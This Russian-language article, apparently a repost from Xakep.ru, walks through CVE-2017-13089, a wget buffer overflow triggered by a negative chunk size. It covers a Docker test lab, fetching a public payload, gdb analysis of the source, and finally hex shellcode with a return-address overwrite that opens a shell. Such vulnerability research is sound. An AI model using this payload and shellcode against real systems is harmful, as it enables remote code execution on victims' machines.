Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux

Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget. С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. Мы разберем, как работает баг wget, связанный с переполнением буфера. Его эксплуатация может привести к выполнению произвольных команд на целевой системе.


Стенд

Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить

docker build -t cve201713089 .

Если ничего качать не хочется, то достаточно команды

docker pull robertcolejensen/cve201713089

Затем запускаем контейнер.

docker run  --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash

Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки.

$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar xvzf wget-1.19.1.tar.gz
$ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd -

Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов.

$ gdb wget
gdb подгрузил отладочные символы
gdb подгрузил отладочные символы

Теперь с этим можно работать. Переходим к следующему этапу.

Анализируем уязвимость

Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. 🙂

$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload

Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.

$ nc -lp 1337 < payload &
$ wget --debug localhost:1337

После коннекта и получения ответа утилита крашится.

Wget крашится при обработке специально сформированного пакета
Wget крашится при обработке специально сформированного пакета

Теперь проделаем то же самое, но уже через отладчик.

$ gdb --args wget 127.0.0.1:1337
$ r
$ bt full

Если ты еще не заглянул в файл payload, то самое время это сделать. В нем ты можешь обнаружить вереницу символов А, которые и перезаписали содержимое стека. Результат можешь наблюдать на скриншоте.

Содержимое стека в момент краша wget
Содержимое стека в момент краша wget

Давай поближе рассмотрим последнюю функцию, которая выполнялась перед крашем. Это skip_short_body из файла http.c.

/wget-1.19.1/src/http.c
946: skip_short_body (int fd, wgint contlen, bool chunked)

Кто же ее вызывает? Обрати внимание на пейлоад, в качестве ответа он возвращает код 401. При парсинге ответа wget записывает его в переменную statcode, которая является частью структуры http_stat.

/wget-1.19.1/src/http.c
1542: struct http_stat
1543: {
...
1552:   int statcode;                 /* status code */

Затем в зависимости от этого статуса выполняются разные куски кода. За 401 отвечает следующий:

Смотри также:  WiFi через 3G модем МегаФон
/wget-1.19.1/src/http.c
127: #define HTTP_STATUS_UNAUTHORIZED          401
...
3493:   if (statcode == HTTP_STATUS_UNAUTHORIZED)
3494:     {
3495:       /* Authorization is required.  */
...
3523:           if (keep_alive && !head_only
3524:               && skip_short_body (sock, contlen, chunked_transfer_encoding))
3525:             CLOSE_FINISH (sock);

Обрати внимание на строку 3524. В этом условии и происходит вызов уязвимой функции skip_short_body. Но для этого необходимо, чтобы две переменные (keep_alive и head_only) приняли нужные значения (строка 3523), потому что в C/С++, как и во многих других языках, обработка логических операций выполняется по принципу short-circuit evaluation. Ты, наверное, уже догадался, что означают сами переменные: keep_aliveпринимает значение true, если в ответе от сервера хидер Connection равен keep-alive, а head_only — это просто флаг наличия только хидера в ответе.

Переменные из условия, в котором выполняется skip_short_body
Переменные из условия, в котором выполняется skip_short_body

Итак, переменные имеют нужные значения, а значит, skip_short_body выполняется. Посмотрим на параметры, которые в нее передаются.

В первую очередь нас интересует параметр chunked_transfer_encoding. Он зависит от заголовка Transfer-Encoding, который возвращает сервер. Этот заголовок парсится, и если он установлен в chunked, то переменная становится true.

/wget-1.19.1/src/http.c
3449:   chunked_transfer_encoding = false;
3450:   if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
3451:       &&  == c_strcasecmp (hdrval, "chunked"))
3452:     chunked_transfer_encoding = true;

При получении пакета с таким заголовком от сервера клиент использует механизм chunked transfer encoding при обработке запроса. Он полезен в тех случаях, когда, например, нужно передать динамически сформированные данные, для которых нельзя заранее определить размер. Данные передаются небольшими частями (они же блоки или чанки — называй как хочешь), которые имеют следующий формат:

<размер блока (в HEX)><CRLF>
<данные блока><CRLF>

Для отделения записи длины чанка от его содержания используется разделитель CRLF (в виде строки \r\n или как байты в формате HEX: 0x0D, 0x0A). Размер чанка — это длина передаваемых в нем данных в байтах, где разделители CRLF не учитываются.
Окончанием передаваемых данных является чанк, длина которого 0 байт.

Следующий параметр, который нас интересует, — contlen. Эта переменная отвечает за размер данных в теле ответа и изначально парсится из хидера Content-Length. Мы его не передаем, так как используем механизм передачи данных частями, поэтому contlen так и остается равной -1, как и была инициализирована.

/wget-1.19.1/src/http.c
3318:   contlen = -1;
...
3414:   if (!opt.ignore_length
3415:       && resp_header_copy (resp, "Content-Length", hdrval, sizeof (hdrval)))
Значение переменной contlen
Значение переменной contlen

Самое время пробежаться по телу функции skip_short_body, чтобы понять логику выполняемого кода. Сначала она проверяет, не превышает ли длина ответа (contlen) 4096 байт. Если да, то соединение просто закрывается.

Смотри также:  Как пользоваться смартфоном с «мёртвым» аккумулятором
/wget-1.19.1/src/http.c
948:   enum {
...
950:     SKIP_THRESHOLD = 4096        /* the largest size we read */
951:   };
...
958:   if (contlen > SKIP_THRESHOLD)
959:     return false;

Затем начинается цикл чтения данных из переданного пакета.

/wget-1.19.1/src/http.c
961:   while (contlen >  || chunked)

Переменная contlen у нас, конечно, меньше нуля, а вот chunked установлено в true, поэтому начинается чтение данных. Сначала wget определяет размер данных первого чанка. Для этого функция strtol() конвертирует строковое представление числа, которое хранится в строке line, в длинное целое и возвращает результат.

/wget-1.19.1/src/http.c
973: remaining_chunk_size = strtol (line, &endl, 16);

Размер первого чанка в эксплоите установлен в -0xFFFFFD00.

Wget в процессе чтения размера первого чанка из пейлоада
Wget в процессе чтения размера первого чанка из пейлоада

Поэтому переменная remaining_chunk_size примет значение -4294966528.

(gdb) p remaining_chunk_size
$7 = -4294966528

Эта переменная отвечает за размер оставшихся непрочитанных данных из текущего блока. Теперь вычисляется переменная contlen. Для этого используется функция MIN. Она возвращает наименьшее из двух переданных чисел.

/wget-1.19.1/src/http.c
949: SKIP_SIZE = 512, /* size of the download buffer */
...
984:    contlen = MIN (remaining_chunk_size, SKIP_SIZE);

Естественно, наше полученное значение remaining_chunk_size гораздо меньше SKIP_SIZE, так что contlen теперь равна -4294966528.

Вычисление нового значения contlen при обработке блока данных
Вычисление нового значения contlen при обработке блока данных

Теперь настало время чтения данных из пакета и записи их в память. Для этого в функцию fd_read передается указатель на текущий пакет, переменная для записи данных и их размер.

/wget-1.19.1/src/http.c
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
/wget-1.19.1/src/connect.c
928: int
929: fd_read (int fd, char *buf, int bufsize, double timeout)
930: {

Так как fd_read в качестве размера буфера (bufsize) принимает только тип int, верхние 32 бита длины отбрасываются, когда мы передаем отрицательные значения в качестве размера чанка.

Функция fd_read использует тип int в качестве размера данных для чтения
Функция fd_read использует тип int в качестве размера данных для чтения

Затем все параметры уходят в функцию read.

/wget-1.19.1/src/connect.c
938: return sock_read (fd, buf, bufsize);
/wget-1.19.1/src/connect.c
778: static int
779: sock_read (int fd, char *buf, int bufsize)
780: {
781:   int res;
782:   do
783:     res = read (fd, buf, bufsize);
784:   while (res == -1 && errno == EINTR);
785:   return res;
786: }

Обрати внимание на адрес буфера, в который будут записываться данные, и на расположение стека.

Адрес стека и адрес буфера для записи данных из пейлоада
Адрес стека и адрес буфера для записи данных из пейлоада

При создании буфера под него выделяется всего 512 байт, а читать и записывать мы будем 768, вот тут и возникает переполнение. Выходим за границу выделенной нам памяти.

/wget-1.19.1/src/connect.c
949: SKIP_SIZE = 512,                /* size of the download buffer */
...
953: char dlbuf[SKIP_SIZE + 1];
954: dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

После того как отработает read, данные в размере 768 байт будут прочитаны и записаны по адресу buf. Теперь стек перезаписан вереницей из символов А, которые были в пейлоаде. Таким образом, мы можем управлять адресом возврата из функции skip_short_body.

Состояние стека после переполнения буфера
Состояние стека после переполнения буфера

Дальше все просто — вычисляется размер оставшихся данных из чанка.

Смотри также:  Все способы обойти ограничения Yota на раздачу интернета
/wget-1.19.1/src/http.c
998: contlen -= ret;

Цикл уходит на второй круг для чтения следующей порции данных. Только теперь contlen у нас равен -4294967296 (-4294966528 — 768), что в int-представлении равно 0. Так как буфер пуст и читать больше нечего, выполняется условие:

/wget-1.19.1/src/http.c
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
990: if (ret <= )
991:   {
992:     /* Don’t normally report the error since this is an
993:        optimization that should be invisible to the user.  */
994:     DEBUGP (("] aborting (%s).\n",
995:              ret <  ? fd_errstr (fd) : "EOF received"));
996:     return false;
997:   }

Программа выходит из функции skip_short_body в никуда, а все благодаря перезаписанному стеку.

Стек перезаписан. Wget в отключке
Стек перезаписан. Wget в отключке

Вот так отрабатывает PoC. Если хочешь поэкспериментировать с RCE, то загляни к нашему китайскому товарищу под ником mzeyong в репозиторий. Там ты найдешь эксплоит, результатом работы которого будет запущенный /bin/dash.

Сам сплоит состоит из двух частей, первая — это собственно сам шелл-код.

shellcode.py
14: buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
15: buf += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
16: buf += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
17: buf += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
18: buf += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
19: buf += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
20: buf += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"

Вторая часть — адрес, где этот самый шелл-код будет располагаться. На твоей машине он может быть другим.

shellcode.py
22: Payload += buf+(568-len(buf))*"A"
23: Payload += "\xd0\xd9\xff\xff\xff\x7f\x00\x00"

Обрати внимание, что адрес записывается со смещением в 568 байт. Это необходимо, чтобы он оказался на верхушке стека, после того как буфер будет переполнен.
После запуска можно наблюдать следующую картину.

Эксплоит для wget успешно отработал
Эксплоит для wget успешно отработал

Вот так легко и непринужденно эксплоит отрабатывает в тепличных условиях. Чтобы превратить его в боевой сплоит для реальных машин, придется попотеть, но это уже выходит за рамки нашей статьи.

Эксплуатация уязвимости


via Xakep.ru

Всегда ваш, "Хай-теч вам в бок"